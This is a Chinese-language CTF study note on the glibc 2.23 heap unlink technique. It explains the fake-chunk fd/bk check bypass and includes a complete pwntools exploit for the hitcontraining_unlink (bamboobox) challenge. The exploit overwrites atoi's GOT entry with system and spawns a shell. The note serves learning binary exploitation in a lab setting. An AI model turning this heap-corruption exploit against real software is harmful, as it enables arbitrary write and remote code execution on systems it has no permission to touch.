学习于:
好好说话之unlink_unlink 操作什么时候发生-CSDN博客关于unlink的学习总结 | ZIKH26's Blog
https://bbs.kanxue.com/thread-273402.htm
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
首先就要搞懂unlink是什么,怎么构造unlink链,相关题目的思路和wp是什么,unlink用于将某一个空闲 chunk 从其所处的双向链表中脱链,我们来利用unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。
一:unlink是什么
首先我们可以翻看glibc源码(2.23)来看看执行了什么操作,如下
首先执行这一段,FD!=P->fd是不是就等于*(FD+0x18)!=P,这样理解后面的构造就更好懂了
首先FD和BK都是通过P来寻找的, 我们要如何绕过这个检查呢,我们可以用一副图来更好的理解(64位为例子):
可以发现满足这个式子就可以做到
P->fd->bk == P <=> *(P->fd + 0x18) == P p->bk->fd == P <=> *(p->bk + 0x10) == P
那我们就将P的fd和bk改成下面就可以了,&P和P是不一样的,&P是指向P的地址,P就是P,如果&P是一个chunk的起始地址那么它就会被bss段记录下来
P->fd = &P - 0x18 P->bk = &P - 0x10
修改后如下图,就可以绕过if检查了
绕过之后执行
FD->bk = BK; BK->fd = FD;
带入刚刚的,那么等价于
P=&P-0x10 P=&P-0x18
所以最后P=&P-0x18。
二:怎么构造unlink链
首先我们要修改fd,那么至少需要堆溢出或者uaf之类的漏洞来伪造fake_chunk,通常申请两个堆块,在第一个chunk中伪造fake_chunk,再通过漏洞修改第二个chunk的prev_size=fake_chunk_size, PREV_INUSE = 0,再释放第二个chunk,完成后fake_chunk就会指向&fake_chunk-0x10,那我们是不是就控制了从&fake_chunk-0x10到&fake_chunk的地址,如果可以写,那我们就可以修改这一段地址了,相当于任意写。
三:例题训练(例题出处均来自ZIKH26师傅)
hitcontraining_unlink
首先检查保护机制,没有开pie,拖入ida中进行分析
change函数有溢出,没检查输入数据是否超过chunk大小
在ida里面寻找到bss段存放指针的地址是何地址
利用print打印函数地址来进行利用unlink,则思路就是伪造一个fake_chunk,然后free掉一个chunk,触发unlink,让fake_chunk的地址改为&p-0x18,此时往fake_chunk中写入数据,就相当于往bss段上写入数据,写入atoi函数的got表的地址,然后执行show函数泄露真实地址,再执行change函数,修改atoi函数的got表为system地址,最后输入/bin/sh获取shell。
from pwn import * file_name = './bamboobox' #io = process(file_name) libc = ELF('./libc-2.23.so') io = remote('node5.buuoj.cn',27355) elf = ELF(file_name) context(arch = elf.arch,log_level = 'debug',os = 'linux') def ml_gdb(): gdb.attach(io) pause(1) def show(): io.recvuntil("Your choice:") io.send('1') def add(length,name): io.recvuntil("Your choice:") io.sendline('2') io.recvuntil("Please enter the length of item name:") io.sendline(str(length)) io.recvuntil("Please enter the name of item:") io.sendline(name) def edit(index,lenth,context): io.recvuntil('Your choice:') io.send('3') io.recvuntil('Please enter the index of item:') io.send(str(index)) io.recvuntil('Please enter the length of item name:') io.send(str(lenth)) io.recvuntil('Please enter the new name of the item:') io.send(context) def delete(index): io.recvuntil('Your choice:') io.send('4') io.recvuntil('Please enter the index of item:') io.send(str(index)) add(0x20,b'aaaaaaa') add(0x80,b'bbbbbbb') add(0x80,b'cccccccc') #ml_gdb() ptr = 0x6020C8 #存放chunk指针的数组在bss段上的地址 fake_chunk = p64(0)+p64(0x21) #fake_chunk header fake_chunk += p64(ptr-0x18)+p64(ptr-0x10) #fake_chunk fd bk fake_chunk += p64(0x20) # 1的presize fake_chunk += p64(0x90) # 1的size edit(0,0x80,fake_chunk) delete(1) payload = p64(0) * 2 payload += p64(0x40) + p64(elf.got['atoi']) #覆盖为atoi_got edit(0,0x80,payload) show() atoi_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print("atoi_addr :",hex(atoi_addr)) ''' libc_base = atoi_addr - libc.symbols['atoi'] system = libc_base + libc.symbols['system'] edit(0,8,p64(system)) io.sendlineafter('Your choice:','/bin/sh\x00') ''' libc_base = atoi_addr - 0x036e80 system_addr = libc_base + 0x045390 edit(0,0x10,p64(system_addr)) io.recvuntil('Your choice:') io.send('/bin/sh\x00') io.interactive()
例题等我补充ovo,如有问题请联系我。